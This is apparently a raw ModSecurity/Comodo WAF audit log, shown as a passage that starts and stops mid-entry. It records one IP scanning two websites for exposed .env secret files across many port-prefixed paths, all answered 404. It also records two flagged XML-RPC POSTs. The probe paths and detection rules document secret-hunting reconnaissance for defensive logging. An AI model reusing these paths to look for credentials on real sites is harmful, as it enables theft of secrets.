"/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/database/.env"] [unique_id "aE9iT_bo0R64L12N_alTCwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032975042643 655538 (- - -) Stopwatch2: 1750032975042643 655538; combined=2034, p1=393, p2=1466, p3=0, p4=0, p5=174, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d528255e-Z-- --83fce158-A-- [16/Jun/2025:05:46:16.703609 +0530] aE9iUNNEcm-DhAkC0ibakwAAAAY 185.177.72.210 54410 127.0.0.1 7081 --83fce158-B-- GET /:8000/front-app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --83fce158-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=908d17ebead4fd87cf23dee50c0375a41750032976; expires=Mon, 16 Jun 2025 01:16:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --83fce158-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/front-app/.env"] [unique_id "aE9iUNNEcm-DhAkC0ibakwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032976028603 675083 (- - -) Stopwatch2: 1750032976028603 675083; combined=2008, p1=378, p2=1512, p3=0, p4=0, p5=117, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --83fce158-Z-- --b722045f-A-- [16/Jun/2025:05:46:26.783722 +0530] aE9iWj_3U3BzRxhKqekn5AAAAAM 185.177.72.210 55644 127.0.0.1 7081 --b722045f-B-- GET /:5000/vendor/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b722045f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bf64e540e1b9974761fc688f3763fb141750032986; expires=Mon, 16 Jun 2025 01:16:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b722045f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/vendor/.env"] [unique_id "aE9iWj_3U3BzRxhKqekn5AAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032986098145 685641 (- - -) Stopwatch2: 1750032986098145 685641; combined=2155, p1=445, p2=1610, p3=0, p4=0, p5=99, sr=110, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b722045f-Z-- --7950cb15-A-- [16/Jun/2025:05:46:30.209157 +0530] aE9iXQ9THibLN0xLxETucwAAAAk 185.177.72.210 52834 127.0.0.1 7081 --7950cb15-B-- GET /:8080/tmp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7950cb15-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3ba8dd0ebfd7c92a9cd8982806d759741750032990; expires=Mon, 16 Jun 2025 01:16:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7950cb15-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/tmp/.env"] [unique_id "aE9iXQ9THibLN0xLxETucwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032989518964 690270 (- - -) Stopwatch2: 1750032989518964 690270; combined=1768, p1=396, p2=1242, p3=0, p4=0, p5=129, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7950cb15-Z-- --a3796e3a-A-- [16/Jun/2025:05:46:31.291957 +0530] aE9iXtVsbyFDndheOrkzVAAAAAE 185.177.72.210 52880 127.0.0.1 7081 --a3796e3a-B-- GET /:8181/www/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a3796e3a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2382d2c7b2697cadd0d5a7cc3bfd42a31750032991; expires=Mon, 16 Jun 2025 01:16:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a3796e3a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/www/.env"] [unique_id "aE9iXtVsbyFDndheOrkzVAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032990530877 761145 (- - -) Stopwatch2: 1750032990530877 761145; combined=2089, p1=386, p2=1597, p3=0, p4=0, p5=106, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a3796e3a-Z-- --ea91df41-A-- [16/Jun/2025:05:46:39.727459 +0530] aE9iZlEBvmqd8j7Fed2qlQAAABM 185.177.72.210 53170 127.0.0.1 7081 --ea91df41-B-- GET /packages/web/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ea91df41-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8cc2056d7b6524a52895d83be07a38ac1750032999; expires=Mon, 16 Jun 2025 01:16:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ea91df41-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/packages/web/.env"] [unique_id "aE9iZlEBvmqd8j7Fed2qlQAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032998958147 769384 (- - -) Stopwatch2: 1750032998958147 769384; combined=2190, p1=389, p2=1707, p3=0, p4=0, p5=94, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ea91df41-Z-- --79619215-A-- [16/Jun/2025:05:46:45.153429 +0530] aE9ibD_3U3BzRxhKqekn7AAAAAM 185.177.72.210 36270 127.0.0.1 7081 --79619215-B-- GET /:5000/.env.development HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --79619215-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c3140091229f1a8593b4efd0b8146c841750033004; expires=Mon, 16 Jun 2025 01:16:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --79619215-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.development"] [unique_id "aE9ibD_3U3BzRxhKqekn7AAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033004467280 686212 (- - -) Stopwatch2: 1750033004467280 686212; combined=1948, p1=372, p2=1469, p3=0, p4=0, p5=107, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --79619215-Z-- --09b4d235-A-- [16/Jun/2025:05:46:55.250952 +0530] aE9idj_3U3BzRxhKqekn8AAAAAM 185.177.72.210 44342 127.0.0.1 7081 --09b4d235-B-- GET /:10000/.env.4 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --09b4d235-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1da293a7db66ca210a2516fbc6f204f91750033015; expires=Mon, 16 Jun 2025 01:16:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --09b4d235-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.4"] [unique_id "aE9idj_3U3BzRxhKqekn8AAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033014506833 744203 (- - -) Stopwatch2: 1750033014506833 744203; combined=1984, p1=367, p2=1502, p3=0, p4=0, p5=114, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --09b4d235-Z-- --253fa45e-A-- [16/Jun/2025:05:46:59.291673 +0530] aE9ieqgCBnvq3q-iXzIDFAAAABc 185.177.72.210 44496 127.0.0.1 7081 --253fa45e-B-- GET /.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --253fa45e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9a9b6109b4faab4d934a633249e4d7f41750033019; expires=Mon, 16 Jun 2025 01:16:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --253fa45e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.prod"] [unique_id "aE9ieqgCBnvq3q-iXzIDFAAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033018611764 679985 (- - -) Stopwatch2: 1750033018611764 679985; combined=1876, p1=410, p2=1352, p3=0, p4=0, p5=113, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --253fa45e-Z-- --5fbdd20d-A-- [16/Jun/2025:05:47:15.192625 +0530] aE9iiqgCBnvq3q-iXzIDJgAAABc 128.199.112.101 42188 127.0.0.1 7081 --5fbdd20d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5fbdd20d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5fbdd20d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9iiqgCBnvq3q-iXzIDJgAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033034226164 966537 (- - -) Stopwatch2: 1750033034226164 966537; combined=2401, p1=487, p2=1409, p3=42, p4=58, p5=263, sr=137, sw=142, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5fbdd20d-Z-- --80b45722-A-- [16/Jun/2025:05:47:18.753882 +0530] aE9ijqgCBnvq3q-iXzIDKQAAABc 185.177.72.210 42550 127.0.0.1 7081 --80b45722-B-- GET /:5000/api/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --80b45722-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e5a0f3bb7d7e8fac4197ba8f74e52a0d1750033038; expires=Mon, 16 Jun 2025 01:17:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --80b45722-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/api/.env.local"] [unique_id "aE9ijqgCBnvq3q-iXzIDKQAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033038099011 654943 (- - -) Stopwatch2: 1750033038099011 654943; combined=1703, p1=378, p2=1221, p3=0, p4=0, p5=103, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --80b45722-Z-- --f68b9515-A-- [16/Jun/2025:05:47:20.762074 +0530] aE9ikPthHqQhfrOWofuNBQAAAAA 185.177.72.210 51936 127.0.0.1 7081 --f68b9515-B-- GET /:5000/data/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f68b9515-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6b386892d0aa94bd9697a9da2153c96e1750033040; expires=Mon, 16 Jun 2025 01:17:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f68b9515-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/data/.env"] [unique_id "aE9ikPthHqQhfrOWofuNBQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033040085175 676962 (- - -) Stopwatch2: 1750033040085175 676962; combined=1644, p1=379, p2=1154, p3=0, p4=0, p5=110, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f68b9515-Z-- --05df145f-A-- [16/Jun/2025:05:47:23.557389 +0530] aE9ikvthHqQhfrOWofuNBwAAAAA 185.177.72.210 52148 127.0.0.1 7081 --05df145f-B-- GET /:9000/new/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --05df145f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ff8169b9f4bf7d1c3b48a256039bba471750033043; expires=Mon, 16 Jun 2025 01:17:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --05df145f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/new/.env"] [unique_id "aE9ikvthHqQhfrOWofuNBwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033042911766 645724 (- - -) Stopwatch2: 1750033042911766 645724; combined=1678, p1=378, p2=1197, p3=0, p4=0, p5=103, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --05df145f-Z-- --75e4cc3a-A-- [16/Jun/2025:05:48:16.058374 +0530] aE9ixw9THibLN0xLxETuqgAAAAk 128.199.112.101 51940 127.0.0.1 7081 --75e4cc3a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --75e4cc3a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --75e4cc3a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9ixw9THibLN0xLxETuqgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033095125858 932571 (- - -) Stopwatch2: 1750033095125858 932571; combined=2495, p1=465, p2=1720, p3=35, p4=46, p5=146, sr=134, sw=83, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --75e4cc3a-Z-- --1595b73d-A-- [16/Jun/2025:05:48:42.853653 +0530] aE9i4tNEcm-DhAkC0iba3wAAAAY 185.177.72.210 46092 127.0.0.1 7081 --1595b73d-B-- GET /:8008/app/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1595b73d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=26d9bb7d4abbd6e873d0075655e3821c1750033122; 